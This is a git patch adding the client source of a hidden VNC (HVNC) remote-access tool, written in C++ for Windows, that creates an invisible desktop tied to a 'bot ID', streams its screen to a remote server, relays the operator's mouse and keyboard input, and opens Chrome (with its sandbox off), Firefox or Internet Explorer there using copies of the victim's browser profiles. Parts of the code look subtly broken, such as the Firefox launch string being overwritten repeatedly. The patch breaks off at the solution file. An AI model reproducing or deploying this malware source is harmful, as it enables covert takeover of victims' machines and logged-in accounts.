From 323bb50fd810e7f8996185d284b35ff2a198d071 Mon Sep 17 00:00:00 2001 From: qwqdanchun <287182701@qq.com> Date: Sat, 4 Sep 2021 11:14:15 +0800 Subject: [PATCH] commit --- .gitignore | 26 + Client/HiddenDesktop.h | 793 ++++++++++++++++++++++++++ Client/Utils.h | 100 ++++ Client/hiddenDesktop.cpp | 39 ++ Client/hiddenDesktop.vcxproj | 175 ++++++ Client/hiddenDesktop.vcxproj.filters | 30 + HVNC.sln | 31 + README.md | 37 ++ Server/Common.h | 7 + Server/ControlWindow.cpp | 49 ++ Server/ControlWindow.h | 4 + Server/Main.cpp | 30 + Server/Server.cpp | 560 ++++++++++++++++++ Server/Server.h | 4 + Server/Server.vcxproj | 157 +++++ Server/Server.vcxproj.filters | 39 ++ anti-hvnc/HiddenDesktopViewer_Bin.zip | Bin 0 -> 41833 bytes 17 files changed, 2081 insertions(+) create mode 100644 .gitignore create mode 100644 Client/HiddenDesktop.h create mode 100644 Client/Utils.h create mode 100644 Client/hiddenDesktop.cpp create mode 100644 Client/hiddenDesktop.vcxproj create mode 100644 Client/hiddenDesktop.vcxproj.filters create mode 100644 HVNC.sln create mode 100644 README.md create mode 100644 Server/Common.h create mode 100644 Server/ControlWindow.cpp create mode 100644 Server/ControlWindow.h create mode 100644 Server/Main.cpp create mode 100644 Server/Server.cpp create mode 100644 Server/Server.h create mode 100644 Server/Server.vcxproj create mode 100644 Server/Server.vcxproj.filters create mode 100644 anti-hvnc/HiddenDesktopViewer_Bin.zip diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ed05cc9 --- /dev/null +++ b/.gitignore @@ -0,0 +1,26 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ + +# Visual Studio 2015 cache/options directory +.vs/ diff --git a/Client/HiddenDesktop.h b/Client/HiddenDesktop.h new file mode 100644 index 0000000..26ff380 --- /dev/null +++ b/Client/HiddenDesktop.h @@ -0,0 +1,793 @@ +#include +#include + +#pragma comment(lib, "Ws2_32.lib") +#pragma comment(lib, "ntdll.lib") +#pragma comment (lib, "Shlwapi.lib") +enum Connection { desktop, input }; +enum Input { mouse }; + +static const BYTE gc_magik[] = { 'H', 'I', 'D', 'D', 'E', 'N', 'V', 'N', 'C', 0 }; +static const COLORREF gc_trans = RGB(255, 174, 201); + +enum WmStartApp { startExplorer = WM_USER + 1, startRun, startChrome, startFirefox, startIexplore }; + +static int g_port; +static char g_host[MAX_PATH]; +static BOOL g_started = FALSE; +static BYTE* g_pixels = NULL; +static BYTE* g_oldPixels = NULL; +static BYTE* g_tempPixels = NULL; +static HDESK g_hDesk; +static BITMAPINFO g_bmpInfo; +static HANDLE g_hInputThread, g_hDesktopThread; +static char g_desktopName[MAX_PATH]; +typedef DWORD(__stdcall* RtlCompressBuffer_Fn)( + IN ULONG CompressionFormat, + IN PVOID SourceBuffer, + IN ULONG SourceBufferLength, + OUT PVOID DestinationBuffer, + IN ULONG DestinationBufferLength, + IN ULONG Unknown, + OUT PULONG pDestinationSize, + IN PVOID WorkspaceBuffer); +typedef DWORD(__stdcall* RtlGetCompressionWorkSpaceSize_Fn)( + IN ULONG CompressionFormat, + OUT PULONG pNeededBufferSize, + OUT PULONG pUnknown); + + + +static BOOL PaintWindow(HWND hWnd, HDC hDc, HDC hDcScreen) +{ + BOOL ret = FALSE; + RECT rect; + GetWindowRect(hWnd, &rect); + + HDC hDcWindow = CreateCompatibleDC(hDc); + HBITMAP hBmpWindow = CreateCompatibleBitmap(hDc, rect.right - rect.left, rect.bottom - rect.top); + + SelectObject(hDcWindow, hBmpWindow); + if (PrintWindow(hWnd, hDcWindow, 0)) + { + BitBlt(hDcScreen, + rect.left, + rect.top, + rect.right - rect.left, + rect.bottom - rect.top, + hDcWindow, + 0, + 0, + SRCCOPY); + + ret = TRUE; + } + DeleteObject(hBmpWindow); + DeleteDC(hDcWindow); + return ret; +} + +static void EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param) +{ + HWND currentWindow = GetTopWindow(owner); + if (currentWindow == NULL) + return; + if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL) + return; + while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL); +} + +struct EnumHwndsPrintData +{ + HDC hDc; + HDC hDcScreen; +}; + +static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam) +{ + EnumHwndsPrintData* data = (EnumHwndsPrintData*)lParam; + + if (!IsWindowVisible(hWnd)) + return TRUE; + + PaintWindow(hWnd, data->hDc, data->hDcScreen); + + DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE); + SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED); + + OSVERSIONINFO versionInfo; + versionInfo.dwOSVersionInfoSize = sizeof(versionInfo); + GetVersionExA(&versionInfo); + if (versionInfo.dwMajorVersion < 6) + EnumWindowsTopToDown(hWnd, EnumHwndsPrint, (LPARAM)data); + return TRUE; +} + +static BOOL GetDeskPixels(int serverWidth, int serverHeight) +{ + RECT rect; + HWND hWndDesktop = GetDesktopWindow(); + GetWindowRect(hWndDesktop, &rect); + + HDC hDc = GetDC(NULL); + HDC hDcScreen = CreateCompatibleDC(hDc); + HBITMAP hBmpScreen = CreateCompatibleBitmap(hDc, rect.right, rect.bottom); + SelectObject(hDcScreen, hBmpScreen); + + EnumHwndsPrintData data; + data.hDc = hDc; + data.hDcScreen = hDcScreen; + + EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)& data); + + if (serverWidth > rect.right) + serverWidth = rect.right; + if (serverHeight > rect.bottom) + serverHeight = rect.bottom; + + if (serverWidth != rect.right || serverHeight != rect.bottom) + { + HBITMAP hBmpScreenResized = CreateCompatibleBitmap(hDc, serverWidth, serverHeight); + HDC hDcScreenResized = CreateCompatibleDC(hDc); + + SelectObject(hDcScreenResized, hBmpScreenResized); + SetStretchBltMode(hDcScreenResized, HALFTONE); + StretchBlt(hDcScreenResized, 0, 0, serverWidth, serverHeight, + hDcScreen, 0, 0, rect.right, rect.bottom, SRCCOPY); + + DeleteObject(hBmpScreen); + DeleteDC(hDcScreen); + + hBmpScreen = hBmpScreenResized; + hDcScreen = hDcScreenResized; + } + + BOOL comparePixels = TRUE; + g_bmpInfo.bmiHeader.biSizeImage = serverWidth * 3 * serverHeight; + + if (g_pixels == NULL || (g_bmpInfo.bmiHeader.biWidth != serverWidth || g_bmpInfo.bmiHeader.biHeight != serverHeight)) + { + free((HLOCAL)g_pixels); + free((HLOCAL)g_oldPixels); + free((HLOCAL)g_tempPixels); + + g_pixels = (BYTE*)Alloc(g_bmpInfo.bmiHeader.biSizeImage); + g_oldPixels = (BYTE*)Alloc(g_bmpInfo.bmiHeader.biSizeImage); + g_tempPixels = (BYTE*)Alloc(g_bmpInfo.bmiHeader.biSizeImage); + + comparePixels = FALSE; + } + + g_bmpInfo.bmiHeader.biWidth = serverWidth; + g_bmpInfo.bmiHeader.biHeight = serverHeight; + GetDIBits(hDcScreen, hBmpScreen, 0, serverHeight, g_pixels, &g_bmpInfo, DIB_RGB_COLORS); + + DeleteObject(hBmpScreen); + ReleaseDC(NULL, hDc); + DeleteDC(hDcScreen); + + if (comparePixels) + { + for (DWORD i = 0; i < g_bmpInfo.bmiHeader.biSizeImage; i += 3) + { + if (g_pixels[i] == GetRValue(gc_trans) && + g_pixels[i + 1] == GetGValue(gc_trans) && + g_pixels[i + 2] == GetBValue(gc_trans)) + { + ++g_pixels[i + 1]; + } + } + + memcpy(g_tempPixels, g_pixels, g_bmpInfo.bmiHeader.biSizeImage); //TODO: CRT call + + BOOL same = TRUE; + for (DWORD i = 0; i < g_bmpInfo.bmiHeader.biSizeImage - 1; i += 3) + { + if (g_pixels[i] == g_oldPixels[i] && + g_pixels[i + 1] == g_oldPixels[i + 1] && + g_pixels[i + 2] == g_oldPixels[i + 2]) + { + g_pixels[i] = GetRValue(gc_trans); + g_pixels[i + 1] = GetGValue(gc_trans); + g_pixels[i + 2] = GetBValue(gc_trans); + } + else + same = FALSE; + } + if (same) + return TRUE; + + memcpy(g_oldPixels, g_tempPixels, g_bmpInfo.bmiHeader.biSizeImage); //TODO: CRT call + } + else + memcpy(g_oldPixels, g_pixels, g_bmpInfo.bmiHeader.biSizeImage); + return FALSE; +} + +static SOCKET ConnectServer() +{ + WSADATA wsa; + SOCKET s; + SOCKADDR_IN addr; + + if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) + return NULL; + if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) + return NULL; + + hostent* he = gethostbyname(g_host); + memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length); + addr.sin_family = AF_INET; + addr.sin_port = htons(g_port); + + if (connect(s, (sockaddr*)& addr, sizeof(addr)) < 0) + return NULL; + + return s; +} + +static int SendInt(SOCKET s, int i) +{ + return send(s, (char*)& i, sizeof(i), 0); +} + + +static DWORD WINAPI DesktopThread(LPVOID param) +{ + SOCKET s = ConnectServer(); + + if (!SetThreadDesktop(g_hDesk)) + goto exit; + + if (send(s, (char*)gc_magik, sizeof(gc_magik), 0) <= 0) + goto exit; + if (SendInt(s, Connection::desktop) <= 0) + goto exit; + + for (;;) + { + int width, height; + + if (recv(s, (char*)& width, sizeof(width), 0) <= 0) + goto exit; + if (recv(s, (char*)& height, sizeof(height), 0) <= 0) + goto exit; + + BOOL same = GetDeskPixels(width, height); + if (same) + { + if (SendInt(s, 0) <= 0) + goto exit; + continue; + } + + if (SendInt(s, 1) <= 0) + goto exit; + + DWORD workSpaceSize; + DWORD fragmentWorkSpaceSize; + + + HANDLE hDLL; + RtlCompressBuffer_Fn fcmp; + RtlGetCompressionWorkSpaceSize_Fn fgcw; + hDLL = LoadLibrary("ntdll.dll"); + if (hDLL != NULL) + { + fcmp = (RtlCompressBuffer_Fn)GetProcAddress((HMODULE)hDLL, "RtlCompressBuffer"); + fgcw = (RtlGetCompressionWorkSpaceSize_Fn) GetProcAddress((HMODULE)hDLL, "RtlGetCompressionWorkSpaceSize"); + + + (*fgcw)(COMPRESSION_FORMAT_LZNT1, &workSpaceSize, &fragmentWorkSpaceSize); + BYTE* workSpace = (BYTE*)Alloc(workSpaceSize); + + DWORD size; + (*fcmp)(COMPRESSION_FORMAT_LZNT1, + g_pixels, + g_bmpInfo.bmiHeader.biSizeImage, + g_tempPixels, + g_bmpInfo.bmiHeader.biSizeImage, + 2048, + &size, + workSpace); + + free(workSpace); + + RECT rect; + HWND hWndDesktop = GetDesktopWindow(); + GetWindowRect(hWndDesktop, &rect); + if (SendInt(s, rect.right) <= 0) + goto exit; + if (SendInt(s, rect.bottom) <= 0) + goto exit; + if (SendInt(s, g_bmpInfo.bmiHeader.biWidth) <= 0) + goto exit; + if (SendInt(s, g_bmpInfo.bmiHeader.biHeight) <= 0) + goto exit; + if (SendInt(s, size) <= 0) + goto exit; + if (send(s, (char*)g_tempPixels, size, 0) <= 0) + goto exit; + + DWORD response; + if (recv(s, (char*)& response, sizeof(response), 0) <= 0) + goto exit; + } + } + +exit: + TerminateThread(g_hInputThread, 0); + return 0; +} + +static void StartChrome() +{ + char chromePath[MAX_PATH] = { 0 }; + SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath); + lstrcatA(chromePath, "\\Google\\Chrome\\"); + + char dataPath[MAX_PATH] = { 0 }; + lstrcatA(dataPath, chromePath); + lstrcatA(dataPath, "User Data\\"); + + char botId[BOT_ID_LEN] = { 0 }; + char newDataPath[MAX_PATH] = { 0 }; + lstrcatA(newDataPath, chromePath); + GetBotId(botId); + lstrcatA(newDataPath, botId); + + CopyDir(dataPath, newDataPath); + + char path[MAX_PATH] = { 0 }; + lstrcatA(path, "cmd.exe /c start "); + lstrcatA(path, "chrome.exe"); + lstrcatA(path, " --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="); + lstrcatA(path, (PCHAR)"\""); + lstrcatA(path, newDataPath); + + STARTUPINFOA startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = g_desktopName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcessA(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); +} + +static void StartFirefox() +{ + char firefoxPath[MAX_PATH] = { 0 }; + SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath); + lstrcatA(firefoxPath, "\\Mozilla\\Firefox\\"); + + char profilesIniPath[MAX_PATH] = { 0 }; + lstrcatA(profilesIniPath, firefoxPath); + lstrcatA(profilesIniPath, "TaskbarGlomLevel"); + + HANDLE hProfilesIni = CreateFileA + ( + profilesIniPath, + FILE_READ_ACCESS, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + if (hProfilesIni == INVALID_HANDLE_VALUE) + return; + + DWORD profilesIniSize = GetFileSize(hProfilesIni, 0); + DWORD read; + char* profilesIniContent = (char*)Alloc(profilesIniSize + 1); + ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL); + profilesIniContent[profilesIniSize] = 0; + + + char* isRelativeRead = StrStrA(profilesIniContent, "IsRelative="); + if (!isRelativeRead) + exit; + isRelativeRead += 11; + BOOL isRelative = (*isRelativeRead == '1'); + + char* path = StrStrA(profilesIniContent, "Path="); + if (!path) + exit; + char* pathEnd = StrStrA(path, (PCHAR)"\r"); + if (!pathEnd) + exit; + *pathEnd = 0; + path += 5; + + char realPath[MAX_PATH] = { 0 }; + if (isRelative) + lstrcpyA(realPath, firefoxPath); + lstrcatA(realPath, path); + + char botId[BOT_ID_LEN]; + GetBotId(botId); + + char newPath[MAX_PATH]; + lstrcpyA(newPath, firefoxPath); + lstrcpyA(newPath, botId); + + CopyDir(realPath, newPath); + + char browserPath[MAX_PATH] = { 0 }; + lstrcpyA(browserPath, "cmd.exe /c start "); + lstrcpyA(browserPath, "firefox.exe"); + lstrcpyA(browserPath, " -no-remote -profile "); + lstrcpyA(browserPath, (PCHAR)"\""); + lstrcpyA(browserPath, newPath); + lstrcpyA(browserPath, (PCHAR)"\""); + + STARTUPINFOA startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = g_desktopName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcessA(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + +exit: + CloseHandle(hProfilesIni); + free(profilesIniContent); +} + +static void StartIe() +{ + char path[MAX_PATH] = { 0 }; + lstrcpyA(path, "cmd.exe /c start "); + lstrcatA(path, "iexplore.exe"); + + STARTUPINFOA startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = g_desktopName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcessA(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); +} + +static DWORD WINAPI InputThread(LPVOID param) +{ + SOCKET s = ConnectServer(); + + SetThreadDesktop(g_hDesk); + + if (send(s, (char*)gc_magik, sizeof(gc_magik), 0) <= 0) + return 0; + if (SendInt(s, Connection::input) <= 0) + return 0; + + DWORD response; + if (!recv(s, (char*)& response, sizeof(response), 0)) + return 0; + + g_hDesktopThread = CreateThread(NULL, 0, DesktopThread, NULL, 0, 0); + + POINT lastPoint; + BOOL lmouseDown = FALSE; + HWND hResMoveWindow = NULL; + LRESULT resMoveType = NULL; + + lastPoint.x = 0; + lastPoint.y = 0; + + for (;;) + { + UINT msg; + WPARAM wParam; + LPARAM lParam; + + if (recv(s, (char*)& msg, sizeof(msg), 0) <= 0) + goto exit; + if (recv(s, (char*)& wParam, sizeof(wParam), 0) <= 0) + goto exit; + if (recv(s, (char*)& lParam, sizeof(lParam), 0) <= 0) + goto exit; + + HWND hWnd; + POINT point; + POINT lastPointCopy; + BOOL mouseMsg = FALSE; + + switch (msg) + { + case WmStartApp::startExplorer: + { + const DWORD neverCombine = 2; + const char* valueName = "TaskbarGlomLevel"; + + HKEY hKey; + RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", 0, KEY_ALL_ACCESS, &hKey); + DWORD value; + DWORD size = sizeof(DWORD); + DWORD type = REG_DWORD; + RegQueryValueExA(hKey, valueName, 0, &type, (BYTE*)& value, &size); + + if (value != neverCombine) + RegSetValueExA(hKey, valueName, 0, REG_DWORD, (BYTE*)& neverCombine, size); + + char explorerPath[MAX_PATH] = { 0 }; + GetWindowsDirectoryA(explorerPath, MAX_PATH); + lstrcatA(explorerPath,"\\"); + lstrcatA(explorerPath, "explorer.exe"); + + STARTUPINFOA startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = g_desktopName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcessA(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + + APPBARDATA appbarData; + appbarData.cbSize = sizeof(appbarData); + for (int i = 0; i < 5; ++i) + { + Sleep(1000); + appbarData.hWnd = FindWindowA("shell_TrayWnd", NULL); + if (appbarData.hWnd) + break; + } + + appbarData.lParam = ABS_ALWAYSONTOP; + SHAppBarMessage(ABM_SETSTATE, &appbarData); + + RegSetValueExA(hKey, valueName, 0, REG_DWORD, (BYTE*)& value, size); + RegCloseKey(hKey); + break; + } + case WmStartApp::startRun: + { + char rundllPath[MAX_PATH] = { 0 }; + SHGetFolderPathA(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath); + lstrcatA(rundllPath, "\\rundll32.exe shell32.dll,#61"); + + STARTUPINFOA startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = g_desktopName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcessA(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case WmStartApp::startChrome: + { + StartChrome(); + break; + } + case WmStartApp::startFirefox: + { + StartFirefox(); + break; + } + case WmStartApp::startIexplore: + { + StartIe(); + break; + } + case WM_CHAR: + case WM_KEYDOWN: + case WM_KEYUP: + { + point = lastPoint; + hWnd = WindowFromPoint(point); + break; + } + default: + { + mouseMsg = TRUE; + point.x = GET_X_LPARAM(lParam); + point.y = GET_Y_LPARAM(lParam); + lastPointCopy = lastPoint; + lastPoint = point; + + hWnd = WindowFromPoint(point); + if (msg == WM_LBUTTONUP) + { + lmouseDown = FALSE; + LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, lParam); + + switch (lResult) + { + case HTTRANSPARENT: + { + SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED); + lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, lParam); + break; + } + case HTCLOSE: + { + PostMessageA(hWnd, WM_CLOSE, 0, 0); + break; + } + case HTMINBUTTON: + { + PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0); + break; + } + case HTMAXBUTTON: + { + WINDOWPLACEMENT windowPlacement; + windowPlacement.length = sizeof(windowPlacement); + GetWindowPlacement(hWnd, &windowPlacement); + if (windowPlacement.flags & SW_SHOWMAXIMIZED) + PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0); + else + PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0); + break; + } + } + } + else if (msg == WM_LBUTTONDOWN) + { + lmouseDown = TRUE; + hResMoveWindow = NULL; + + RECT startButtonRect; + HWND hStartButton = FindWindowA((PCHAR)"Button", NULL); + GetWindowRect(hStartButton, &startButtonRect); + if (PtInRect(&startButtonRect, point)) + { + PostMessageA(hStartButton, BM_CLICK, 0, 0); + continue; + } + else + { + char windowClass[MAX_PATH] = { 0 }; + RealGetWindowClassA(hWnd, windowClass, MAX_PATH); + + if (!lstrcmpA(windowClass, "#32768")) + { + HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0); + int itemPos = MenuItemFromPoint(NULL, hMenu, point); + int itemId = GetMenuItemID(hMenu, itemPos); + PostMessageA(hWnd, 0x1e5, itemPos, 0); + PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0); + continue; + } + } + } + else if (msg == WM_MOUSEMOVE) + { + if (!lmouseDown) + continue; + + if (!hResMoveWindow) + resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, lParam); + else + hWnd = hResMoveWindow; + + int moveX = lastPointCopy.x - point.x; + int moveY = lastPointCopy.y - point.y; + + RECT rect; + GetWindowRect(hWnd, &rect); + + int x = rect.left; + int y = rect.top; + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + switch (resMoveType) + { + case HTCAPTION: + { + x -= moveX; + y -= moveY; + break; + } + case HTTOP: + { + y -= moveY; + height += moveY; + break; + } + case HTBOTTOM: + { + height -= moveY; + break; + } + case HTLEFT: + { + x -= moveX; + width += moveX; + break; + } + case HTRIGHT: + { + width -= moveX; + break; + } + case HTTOPLEFT: + { + y -= moveY; + height += moveY; + x -= moveX; + width += moveX; + break; + } + case HTTOPRIGHT: + { + y -= moveY; + height += moveY; + width -= moveX; + break; + } + case HTBOTTOMLEFT: + { + height -= moveY; + x -= moveX; + width += moveX; + break; + } + case HTBOTTOMRIGHT: + { + height -= moveY; + width -= moveX; + break; + } + default: + continue; + } + MoveWindow(hWnd, x, y, width, height, FALSE); + hResMoveWindow = hWnd; + continue; + } + break; + } + } + + + for (HWND currHwnd = hWnd;;) + { + hWnd = currHwnd; + ScreenToClient(currHwnd, &point); + currHwnd = ChildWindowFromPoint(currHwnd, point); + if (!currHwnd || currHwnd == hWnd) + break; + } + + + if (mouseMsg) + lParam = MAKELPARAM(point.x, point.y); + + PostMessageA(hWnd, msg, wParam, lParam); + } +exit: + TerminateThread(g_hDesktopThread, 0); + return 0; +} + +static DWORD WINAPI MainThread(LPVOID param) +{ + return 0; +} + +void StartHiddenDesktop(char* host, int port) +{ + + lstrcpyA(g_host, host); + g_port = port; + g_started = TRUE; + memset(g_desktopName, 0, sizeof(g_desktopName)); + GetBotId(g_desktopName); + memset(&g_bmpInfo, 0, sizeof(g_bmpInfo)); + g_bmpInfo.bmiHeader.biSize = sizeof(g_bmpInfo.bmiHeader); + g_bmpInfo.bmiHeader.biPlanes = 1; + g_bmpInfo.bmiHeader.biBitCount = 24; + g_bmpInfo.bmiHeader.biCompression = BI_RGB; + g_bmpInfo.bmiHeader.biClrUsed = 0; + + g_hDesk = OpenDesktopA(g_desktopName, 0, TRUE, GENERIC_ALL); + if (!g_hDesk) + g_hDesk = CreateDesktopA(g_desktopName, NULL, NULL, 0, GENERIC_ALL, NULL); + SetThreadDesktop(g_hDesk); + + g_hInputThread = CreateThread(NULL, 0, InputThread, NULL, 0, 0); + WaitForSingleObject(g_hInputThread, INFINITE); + + free(g_pixels); + free(g_oldPixels); + free(g_tempPixels); + + CloseHandle(g_hInputThread); + CloseHandle(g_hDesktopThread); + + g_pixels = NULL; + g_oldPixels = NULL; + g_tempPixels = NULL; + g_started = FALSE; +} \ No newline at end of file diff --git a/Client/Utils.h b/Client/Utils.h new file mode 100644 index 0000000..f9d3101 --- /dev/null +++ b/Client/Utils.h @@ -0,0 +1,100 @@ +#include +#include + + +ULONG PseudoRand(ULONG* seed) +{ + return (*seed = 1352459 * (*seed) + 2529004207); +} + +void GetBotId(char* botId) +{ + CHAR windowsDirectory[MAX_PATH]; + CHAR volumeName[8] = { 0 }; + DWORD seed = 0; + + if (GetWindowsDirectoryA(windowsDirectory, sizeof(windowsDirectory))) + windowsDirectory[0] = L'C'; + + volumeName[0] = windowsDirectory[0]; + volumeName[1] = ':'; + volumeName[2] = '\\'; + volumeName[3] = '\0'; + + GetVolumeInformationA(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0); + + GUID guid; + guid.Data1 = PseudoRand(&seed); + + guid.Data2 = (USHORT)PseudoRand(&seed); + guid.Data3 = (USHORT)PseudoRand(&seed); + for (int i = 0; i < 8; i++) + guid.Data4[i] = (UCHAR)PseudoRand(&seed); + + wsprintfA(botId, (PCHAR)"%08lX%04lX%lu", guid.Data1, guid.Data3, *(ULONG*)& guid.Data4[2]); +} + + + + +void* Alloc(size_t size) +{ + void* mem =malloc(size); + return mem; +} + +#pragma function(memset) +void* __cdecl memset(void* pTarget, int value, size_t cbTarget) +{ + unsigned char* p = static_cast(pTarget); + while (cbTarget-- > 0) + { + *p++ = static_cast(value); + } + return pTarget; +} + + + + + + +void CopyDir(char* from, char* to) +{ + char fromWildCard[MAX_PATH] = { 0 }; + lstrcpyA(fromWildCard, from); + lstrcatA(fromWildCard, (PCHAR)"\\*"); + + if (!CreateDirectoryA(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) + return; + WIN32_FIND_DATAA findData; + HANDLE hFindFile = FindFirstFileA(fromWildCard, &findData); + if (hFindFile == INVALID_HANDLE_VALUE) + return; + + do + { + char currFileFrom[MAX_PATH] = { 0 }; + lstrcpyA(currFileFrom, from); + lstrcatA(currFileFrom, (PCHAR)"\\"); + lstrcatA(currFileFrom, findData.cFileName); + + char currFileTo[MAX_PATH] = { 0 }; + lstrcpyA(currFileTo, to); + lstrcatA(currFileTo, (PCHAR)"\\"); + lstrcatA(currFileTo, findData.cFileName); + + if + ( + findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY && + lstrcmpA(findData.cFileName, (PCHAR)".") && + lstrcmpA(findData.cFileName, (PCHAR)"..") + ) + { + if (CreateDirectoryA(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS) + CopyDir(currFileFrom, currFileTo); + } + else + CopyFileA(currFileFrom, currFileTo, FALSE); + } while (FindNextFileA(hFindFile, &findData)); +} diff --git a/Client/hiddenDesktop.cpp b/Client/hiddenDesktop.cpp new file mode 100644 index 0000000..dcd1721 --- /dev/null +++ b/Client/hiddenDesktop.cpp @@ -0,0 +1,39 @@ +#pragma (linker, "/defaultlib:ntdll.lib") +#define BOT_ID_LEN 35 + +#define SECURITY_WIN32 +#include +#include +#include +#include +#include +#include +#include +#include + + +#include +#include +#include + +#include "Utils.h" + + +#include "HiddenDesktop.h" + + + +int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR szCmdLine,int iCmdShow) + +{ + char* server; + if (strlen(szCmdLine) > 0) + { + server = szCmdLine; + } + else { + server = (char*)"127.0.0.1"; + } + std::cout << server; + StartHiddenDesktop(server, 6667); +} diff --git a/Client/hiddenDesktop.vcxproj b/Client/hiddenDesktop.vcxproj new file mode 100644 index 0000000..0a8be13 --- /dev/null +++ b/Client/hiddenDesktop.vcxproj @@ -0,0 +1,175 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + 16.0 + {2634CFFF-FDCB-450E-A6E9-6D655C0005B2} + Win32Proj + hiddenDesktop + 10.0 + Client + + + + Application + true + v142 + MultiByte + + + Application + true + v142 + MultiByte + + + Application + false + v142 + false + MultiByte + + + Application + false + v142 + false + MultiByte + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + Default + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);shell32.lib + + + + + + + Level3 + Disabled + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + Default + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);shell32.lib + + + + + + + Level3 + MinSpace + false + true + false + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + true + Default + + + Windows + true + true + true + + + + + + + Level3 + MinSpace + false + true + false + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + Default + + + Windows + true + true + true + + + + + + + + + + + + + \ No newline at end of file diff --git a/Client/hiddenDesktop.vcxproj.filters b/Client/hiddenDesktop.vcxproj.filters new file mode 100644 index 0000000..5e3fe1f --- /dev/null +++ b/Client/hiddenDesktop.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Quelldateien + + + + + Headerdateien + + + Headerdateien + + + \ No newline at end of file diff --git a/HVNC.sln b/HVNC.sln new file mode 100644 index 0000000..cb989f6 --- /dev/null +++ b/HVNC.sln @@ -0,0 +1,31 @@ + 